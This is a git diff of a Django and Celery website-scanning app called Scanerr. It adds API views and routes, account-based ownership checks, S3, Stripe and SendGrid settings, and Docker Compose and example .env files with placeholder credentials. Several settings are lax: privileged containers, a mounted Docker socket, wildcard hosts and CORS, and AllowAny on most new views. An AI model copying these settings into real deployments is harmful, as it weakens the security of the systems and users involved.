path('process/', views.ProcessDetail.as_view(), name='process-detail'), + path('case', views.Cases.as_view(), name='case'), + path('case/', views.CaseDetail.as_view(), name='case-detail'), + path('case/search', views.CasesSearch.as_view(), name='case-search'), + path('testcase', views.Testcases.as_view(), name='testcase'), + path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'), + path('testcase/', views.TestcaseDetail.as_view(), name='testcase-detail'), + path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'), + path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'), + path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), ] \ No newline at end of file diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 2fd4088f..2bc92ea0 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -2,7 +2,8 @@ from rest_framework.response import Response from rest_framework import status from django.contrib.auth.models import User -from ...models import (Test, Site, Scan, Log, Schedule, Automation) +from django.shortcuts import get_object_or_404 +from ...models import * from django.urls import path, include from rest_framework import routers, serializers, viewsets from rest_framework.viewsets import ViewSet @@ -10,18 +11,10 @@ from rest_framework.views import APIView from rest_framework.permissions import IsAuthenticated from django.views.decorators.csrf import ensure_csrf_cookie -from .serializers import ( - SiteSerializer, TestSerializer, ScanSerializer, LogSerializer, - ScheduleSerializer, AutomationSerializer - ) from rest_framework.pagination import LimitOffsetPagination -from .services import ( - record_api_call, create_or_update_schedule, create_test, get_tests, delete_test, - create_scan, get_scans, delete_scan, get_logs, create_site, get_sites, delete_site, - create_or_update_automation, get_automations, delete_automation, get_schedules, - delete_schedule, get_home_stats - ) from django.urls import resolve +from .serializers import * +from .services import * @@ -45,9 +38,12 @@ class SiteDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - site = Site.objects.get(id=id) - if site.user != request.user: + site = get_object_or_404(Site, pk=id) + user = request.user + account = Member.objects.get(user=user).account + if site.account != account: data = {'reason': 'you cannot retrieve a Site you do not own',} + record_api_call(request, data, '401') return Response(data, status=status.HTTP_403_FORBIDDEN) serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) @@ -60,6 +56,7 @@ def delete(self, request, id): return response + class SiteDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] @@ -70,6 +67,16 @@ def post(self, request): +class SitesDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_sites(request) + return response + + + class Scans(APIView): permission_classes = (AllowAny,) @@ -90,8 +97,11 @@ class ScanDetail(APIView): http_method_names = ['get', 'delete',] def get(self, request, id): - scan = Scan.objects.get(id=id) - if scan.site.user != request.user: + scan = get_object_or_404(Scan, pk=id) + user = request.user + account = Member.objects.get(user=user).account + + if scan.site.account != account: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -108,6 +118,15 @@ def delete(self, request, id): return response +class ScanLean(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', ] + + def get(self, request, id): + response = get_scan_lean(request, id) + return response + + class ScanDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] @@ -117,6 +136,14 @@ def post(self, request): return response +class ScansDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_scans(request) + return response + @@ -140,8 +167,11 @@ class TestDetail(APIView): http_method_names = ['get', 'delete',] def get(self, request, id): - test = Test.objects.get(id=id) - if test.site.user != request.user: + test = get_object_or_404(Test, pk=id) + user = request.user + account = Member.objects.get(user=user).account + + if test.site.account != account: data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -157,6 +187,15 @@ def delete(self, request, id): return response +class TestLean(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get',] + + def get(self, request, id): + response = get_test_lean(request, id) + return response + + class TestDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] @@ -166,6 +205,14 @@ def post(self, request): return response +class TestsDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_tests(request) + return response + @@ -189,8 +236,11 @@ class ScheduleDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - schedule = Schedule.objects.get(id=id) - if schedule.site.user != request.user: + schedule = get_object_or_404(Schedule, pk=id) + user = request.user + account = Member.objects.get(user=user).account + + if schedule.site.account != account: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -228,7 +278,10 @@ class AutomationDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - automation = Automation.objects.get(id=id) + automation = get_object_or_404(Automation, pk=id) + user = request.user + account = Member.objects.get(user=user).account + if automation.user != request.user: data = {'reason': 'you cannot retrieve Automations you do not own',} record_api_call(request, data, '403') @@ -248,6 +301,153 @@ def delete(self, request, id): +class Reports(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_or_update_report(request) + return response + + def get(self, request): + response = get_reports(request) + return response + + + +class ReportDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + report = get_object_or_404(Report, pk=id) + user = request.user + account = Member.objects.get(user=user).account + + if report.account != account: + data = {'reason': 'you cannot retrieve Reports you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = ReportSerializer(report, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_report(request, id) + return response + + + + + + + + +class Cases(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_or_update_case(request) + return response + + def get(self, request): + response = get_cases(request) + return response + + + +class CasesSearch(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = search_cases(request) + return response + + + +class CaseDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + case = get_object_or_404(Case, pk=id) + user = request.user + account = Member.objects.get(user=user).account + + if case.account != account: + data = {'reason': 'you cannot retrieve Cases you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = CaseSerializer(case, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_case(request, id) + return response + + + +class Testcases(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_testcase(request) + return response + + def get(self, request): + response = get_testcases(request) + return response + + + +class TestcaseDelay(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_testcase(request, delay=True) + return response + + + +class TestcaseDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + testcase = get_object_or_404(Testcase, pk=id) + user = request.user + account = Member.objects.get(user=user).account + + if testcase.account != account: + data = {'reason': 'you cannot retrieve Testcases you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = TestcaseSerializer(testcase, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_testcase(request, id) + return response + + + + + class Logs(APIView): permission_classes = (AllowAny,) http_method_names = ['get',] @@ -263,7 +463,7 @@ class LogDetail(APIView): http_method_names = ['get',] def get(self, request, id): - log = Log.objects.get(id=id) + log = get_object_or_404(Log, pk=id) if log.user != request.user: data = {'reason': 'you cannot retrieve Logs you do not own',} record_api_call(request, data, '403') @@ -282,4 +482,61 @@ class HomeStats(APIView): def get(self, request): response = get_home_stats(request) + return response + + + + +class Processes(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = get_processes(request) + return response + + +class ProcessDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get',] + + def get(self, request, id): + if not Process.objects.filter(id=id).exists(): + data = {'reason': 'process with that id does not exist',} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + proc = Process.objects.get(id=id) + serializer_context = {'request': request,} + serialized = ProcessSerializer(proc, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + +class WordPressMigrateSite(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = migrate_site(request, delay=False) + return response + + +class WordPressMigrateSiteDelay(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = migrate_site(request, delay=True) + return response + + +class SiteScreenshot(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_site_screenshot(request) return response \ No newline at end of file diff --git a/app/api/views.py b/app/api/views.py deleted file mode 100644 index e69de29b..00000000 diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py index 7e90fe87..08e5ae7e 100644 --- a/app/scanerr/celery.py +++ b/app/scanerr/celery.py @@ -1,8 +1,8 @@ from __future__ import absolute_import, unicode_literals -import os from celery import Celery from django.conf import settings -import scanerr +import scanerr, os + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings') @@ -13,4 +13,5 @@ @app.task(bind=False) def debug_task(self): - print('Request: {0!r}'.format(self.request)) \ No newline at end of file + print('Request: {0!r}'.format(self.request)) + diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 6414f9ef..1d4b50c8 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -1,5 +1,5 @@ """ -Django settings for scanerr project. +Django settings for Scanerr project. Generated by 'django-admin startproject' using Django 3.2.3. @@ -17,10 +17,6 @@ # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent - -# Quick-start development settings - unsuitable for production -# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/ - # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = os.environ.get('SECRET_KEY') @@ -29,8 +25,10 @@ ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') +LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT') API_URL_ROOT = os.environ.get('API_URL_ROOT') CORS_ORIGIN_ALLOW_ALL = True +DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880 SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") @@ -49,10 +47,12 @@ 'rest_framework.authtoken', 'django_celery_beat', 'markdownify.apps.MarkdownifyConfig', + 'storages', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', + 'whitenoise.middleware.WhiteNoiseMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', @@ -85,49 +85,21 @@ # Database # https://docs.djangoproject.com/en/3.2/ref/settings/#databases - -if DEBUG == True: - - # DATABASES = { - # 'default': { - # 'ENGINE': 'django.db.backends.sqlite3', - # 'NAME': BASE_DIR / 'db.sqlite3', - # } - # } - DATABASES = { - 'default': { - 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql - 'HOST': os.environ.get('DB_HOST'), - 'NAME': os.environ.get('DB_NAME'), - 'USER': os.environ.get('DB_USER'), - 'PASSWORD': os.environ.get('DB_PASS'), - 'PORT': os.environ.get('DB_PORT') - } +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql + 'HOST': os.environ.get('DB_HOST'), + 'NAME': os.environ.get('DB_NAME'), + 'USER': os.environ.get('DB_USER'), + 'PASSWORD': os.environ.get('DB_PASS'), + 'PORT': os.environ.get('DB_PORT') } +} -else: - - # DATABASES = { - # 'default': { - # 'ENGINE': 'django.db.backends.sqlite3', - # 'NAME': BASE_DIR / 'db.sqlite3', - # } - # } - DATABASES = { - 'default': { - 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql - 'HOST': os.environ.get('DB_HOST'), - 'NAME': os.environ.get('DB_NAME'), - 'USER': os.environ.get('DB_USER'), - 'PASSWORD': os.environ.get('DB_PASS'), - 'PORT': os.environ.get('DB_PORT') - } - } # Password validation # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators - AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', @@ -143,34 +115,24 @@ }, ] + # Django REST framework REST_FRAMEWORK = { - # Use Django's standard `django.contrib.auth` permissions, - # or allow read-only access for unauthenticated users. 'DEFAULT_PERMISSION_CLASSES': [ - # 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly', 'rest_framework.permissions.DjangoModelPermissions', ], - 'DEFAULT_AUTHENTICATION_CLASSES': [ 'rest_framework.authentication.TokenAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ], - 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', 'PAGE_SIZE': 10, - - # 'DEFAULT_RENDERER_CLASSES': [ - # 'rest_framework.renderers.JSONRenderer', - # ], } - -# SIMPLE_JWT = { -# 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=.5), -# 'REFRESH_TOKEN_LIFETIME': timedelta(minutes=1), -# } - +SIMPLE_JWT = { + 'ACCESS_TOKEN_LIFETIME': timedelta(hours=24), + 'REFRESH_TOKEN_LIFETIME': timedelta(hours=36), +} # Internationalization @@ -189,14 +151,46 @@ # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.2/howto/static-files/ - STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, "static") +# needed for deployments without nginx +STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" + +### ONLY NEEDED IF USING DJANGO-STORAGES | remote storage settings for serving static files to django admin ### +# DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN') +# STATIC_ROOT = 'static' +# MEDIA_ROOT = 'media' +# STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/" +# MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/" +# AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH') +# AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN') + + +# Used to authenticate with S3 using 'django-stores' pypi package and 'boto3' +AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID') +AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY') + +# Configure which endpoint to send files to, and retrieve files from. +AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME') +AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME') +AWS_S3_ENDPOINT_URL = os.environ.get('AWS_S3_ENDPOINT_URL') +AWS_LOCATION = os.environ.get('AWS_LOCATION') +AWS_DEFAULT_ACL = os.environ.get('AWS_DEFAULT_ACL') +AWS_S3_URL_PATH = os.environ.get('AWS_S3_URL_PATH') + + +# General optimization for faster delivery +AWS_IS_GZIPPED = True +AWS_S3_OBJECT_PARAMETERS = { + 'CacheControl': 'max-age=86400', +} + # Redis and Celery Conf - CELERY_BROKER_URL = "redis://redis:6379" CELERY_RESULT_BACKEND = "redis://redis:6379" @@ -204,7 +198,6 @@ # Default primary key field type # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field - DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' @@ -217,5 +210,23 @@ EMAIL_HOST_PASSWORD = os.environ.get('EMAIL_HOST_PASSWORD') +# Sendgrid configs +SENDGRID_API_KEY = os.environ.get('SENDGRID_API_KEY') +DEFAULT_TEMPLATE = os.environ.get('DEFAULT_TEMPLATE') +DEFAULT_TEMPLATE_NO_BUTTON = os.environ.get('DEFAULT_TEMPLATE_NO_BUTTON') +AUTOMATION_TEMPLATE = os.environ.get('AUTOMATION_TEMPLATE') + + + +# google oAuth2 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID') -GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') \ No newline at end of file +GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') + + +# stripe keys +if os.environ.get('STRIPE_ENV') == 'prod': + STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE') + STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE') +if os.environ.get('STRIPE_ENV') == 'dev': + STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_TEST') + STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST') \ No newline at end of file diff --git a/commands b/commands index 55091b6a..a6764d18 100644 --- a/commands +++ b/commands @@ -1,14 +1,22 @@ ### spins up container on localhost ### -docker-compose up --build +docker compose up --build ### spins down container on localhost ### -docker-compose down +docker compose down ### spins up the container for production ### -docker-compose -f docker-compose.prod.yml up -d --build +docker compose -f docker-compose.prod.yml up -d --build -### spins down the container and removes volumes ### -docker-compose -f docker-compose.prod.yml down -v +### spins down the container ### +docker compose -f docker-compose.prod.yml down + + + +### spins up the container for development ### +docker compose -f docker-compose.dev.yml up -d --build + +### spins down the container ### +docker compose -f docker-compose.dev.yml down diff --git a/docker-compose.staging.yml b/docker-compose.dev.yml similarity index 59% rename from docker-compose.staging.yml rename to docker-compose.dev.yml index 2c8446cb..f09772ed 100644 --- a/docker-compose.staging.yml +++ b/docker-compose.dev.yml @@ -2,6 +2,8 @@ version: '3' services: app: + privileged: true + init: true build: context: . dockerfile: Dockerfile.prod @@ -9,44 +11,51 @@ services: - ./app:/app - static_volume:/app/static command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && - python3 manage.py driver_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 env_file: - - ./env/.env.prod - # depends_on: - # - db + - ./env/.env.dev + + + db: + image: postgres:10-alpine + ports: + - "5432" + env_file: + - ./env/.env.dev + volumes: + - pgdata:/var/lib/postgresql/data - # db: - # image: postgres:10-alpine - # env_file: - # - ./env/.env.prod - # volumes: - # - pgdata:/var/lib/postgresql/data redis: image: redis:alpine + ports: + - "6379" + celery: + privileged: true restart: always build: context: . + dockerfile: Dockerfile.prod command: celery -A scanerr worker --beat --scheduler django --loglevel=info volumes: - ./app:/scanerr env_file: - - ./env/.env.prod + - ./env/.env.dev depends_on: - # - db - redis - app - + - db nginx-proxy: @@ -64,31 +73,26 @@ services: - /var/run/docker.sock:/tmp/docker.sock:ro depends_on: - app + + nginx-proxy-letsencrypt: - image: jrcs/letsencrypt-nginx-proxy-companion + image: nginxproxy/acme-companion # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion env_file: - - ./env/.env.staging.proxy-companion + - ./env/.env.prod.proxy-companion volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - certs:/etc/nginx/certs - html:/usr/share/nginx/html - vhost:/etc/nginx/vhost.d + - letsencrypt-acme:/etc/acme.sh depends_on: - nginx-proxy - nginx: - build: ./nginx - ports: - - 80:8000 - # depends_on: - # - app - volumes: - - static_volume:/app/static - volumes: - # pgdata: static_volume: + letsencrypt-acme: certs: html: - vhost: \ No newline at end of file + vhost: + pgdata: \ No newline at end of file diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 6f6f63a5..cc375e35 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -2,53 +2,52 @@ version: '3' services: app: + restart: always + privileged: true + init: true build: context: . dockerfile: Dockerfile.prod + # image: landonr/scanerr-server volumes: - ./app:/app - static_volume:/app/static command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && - python3 manage.py driver_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 env_file: - ./env/.env.prod - # depends_on: - # - db - - # db: - # image: postgres:10-alpine - # env_file: - # - ./env/.env.prod - # volumes: - # - pgdata:/var/lib/postgresql/data redis: image: redis:alpine + ports: + - "6379" celery: + privileged: true restart: always build: context: . + dockerfile: Dockerfile.prod + # image: landonr/scanerr-server command: celery -A scanerr worker --beat --scheduler django --loglevel=info volumes: - ./app:/scanerr env_file: - ./env/.env.prod depends_on: - # - db - redis - app - nginx-proxy: container_name: nginx-proxy build: nginx @@ -64,8 +63,10 @@ services: - /var/run/docker.sock:/tmp/docker.sock:ro depends_on: - app + + nginx-proxy-letsencrypt: - image: jrcs/letsencrypt-nginx-proxy-companion + image: nginxproxy/acme-companion # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion env_file: - ./env/.env.prod.proxy-companion volumes: @@ -73,13 +74,14 @@ services: - certs:/etc/nginx/certs - html:/usr/share/nginx/html - vhost:/etc/nginx/vhost.d + - letsencrypt-acme:/etc/acme.sh depends_on: - nginx-proxy volumes: - # pgdata: static_volume: + letsencrypt-acme: certs: html: vhost: \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml index 20f7df62..a8f492c0 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,45 +1,62 @@ version: '3' - services: + app: + privileged: true + init: true + restart: always build: context: . + dockerfile: Dockerfile.prod + # image: landonr/scanerr-server ports: - "8000:8000" volumes: - ./app:/app command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && - python3 manage.py driver_test && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && python3 manage.py runserver 0.0.0.0:8000" env_file: - - ./env/.env.dev + - ./env/.env.local depends_on: - db db: image: postgres:10-alpine + ports: + - "5432" env_file: - ./env/.env.dev volumes: - pgdata:/var/lib/postgresql/data + redis: image: redis:alpine + ports: + - "6379" + celery: + privileged: true restart: always build: context: . + dockerfile: Dockerfile.prod + # image: landonr/scanerr-server command: celery -A scanerr worker --beat --scheduler django --loglevel=info volumes: - ./app:/scanerr env_file: - - ./env/.env.dev + - ./env/.env.local depends_on: - db - redis - app + volumes: - pgdata: \ No newline at end of file + pgdata: diff --git a/env/.env.dev.example b/env/.env.dev.example new file mode 100644 index 00000000..f05120b0 --- /dev/null +++ b/env/.env.dev.example @@ -0,0 +1,88 @@ +# django +SECRET_KEY = ask-for-this-or-generate-yourself +CLIENT_URL_ROOT = https://app.example.io # example +API_URL_ROOT = https://api.example.io # example +LETSENCRYPT_HOST = api.example.io # example +VIRTUAL_HOST = api.example.io # example +VIRTUAL_PORT = 8000 +DJANGO_ALLOWED_HOSTS = * + + +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example + + +# email credentials +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example + + +# database +DB_HOST=db +DB_NAME=app +DB_USER=postgres +DB_PASS=supersecretpassword +POSTGRES_DB=app +POSTGRES_USER=postgres +POSTGRES_PASSWORD=supersecretpassword + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = +STRIPE_PUBLIC_LIVE = +STRIPE_PRIVATE_LIVE = +STRIPE_ENV = dev + + +# google keys +GOOGLE_CRUX_KEY = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio credentials +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# sendgrid configs +SENDGRID_API_KEY = +DEFAULT_TEMPLATE = +DEFAULT_TEMPLATE_NO_BUTTON = +AUTOMATION_TEMPLATE = + + +# slack credentials +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage credentials +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.local.example b/env/.env.local.example new file mode 100644 index 00000000..40b50b9c --- /dev/null +++ b/env/.env.local.example @@ -0,0 +1,84 @@ +# high level django configs +SECRET_KEY = ask-for-this +CLIENT_URL_ROOT = http://localhost:3000 +CLIENT_URL_ROOT = http://localhost:3000 +API_URL_ROOT = http://localhost:8000 +DJANGO_ALLOWED_HOSTS = * + + +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example + + +# email credentials +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example + + +# database configs +DB_HOST=db +DB_NAME=app +DB_USER=postgres +DB_PASS=supersecretpassword +POSTGRES_DB=app +POSTGRES_USER=postgres +POSTGRES_PASSWORD=supersecretpassword + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = + + +# google keys +GOOGLE_CRUX_KEY = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio credentials +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# sendgrid configs +SENDGRID_API_KEY = +DEFAULT_TEMPLATE = +DEFAULT_TEMPLATE_NO_BUTTON = +AUTOMATION_TEMPLATE = + + + +# slack credentials +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage credentials +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.prod.example b/env/.env.prod.example new file mode 100644 index 00000000..96d89f7c --- /dev/null +++ b/env/.env.prod.example @@ -0,0 +1,86 @@ +# high level django configs +SECRET_KEY = ask-for-this-or-generate-yourself +CLIENT_URL_ROOT = https://app.example.io # example +LANDING_URL_ROOT = https://example.io # example +API_URL_ROOT = https://api.example.io # example +LETSENCRYPT_HOST = api.example.io # example +DJANGO_ALLOWED_HOSTS = * + + +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example + + +# email credentials +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example + + +# database configs +DB_NAME = defaultdb # example +DB_USER = doadmin # example +DB_PASS = +DB_PORT = +DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com # example + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = +STRIPE_PUBLIC_LIVE = +STRIPE_PRIVATE_LIVE = +STRIPE_ENV = prod + + +# google keys +GOOGLE_CRUX_KEY = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio credentials +TWILIO_SID = +TWILIO_AUTH_TOKEN = 